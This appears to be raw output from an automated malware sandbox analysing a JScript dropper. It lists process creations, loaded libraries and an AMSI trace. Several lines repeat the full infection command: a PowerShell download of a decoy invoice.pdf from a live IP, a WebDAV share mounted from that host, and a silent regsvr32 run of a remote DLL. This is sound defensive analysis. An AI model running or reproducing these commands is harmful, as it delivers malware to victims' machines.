Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3414115772858819502.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/59@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7556:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u0hve4x3.dxn.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3414115772858819502.js

Virustotal: Detection: 12%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1584,i,9446064916445789587,12544552719755005213,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1584,i,9446064916445789587,12544552719755005213,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6955.js.csv");ITextStream.WriteLine(" entry:8758 f:dgczoqm");ITextStream.WriteLine(" exec:2 f:dgczoqm");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
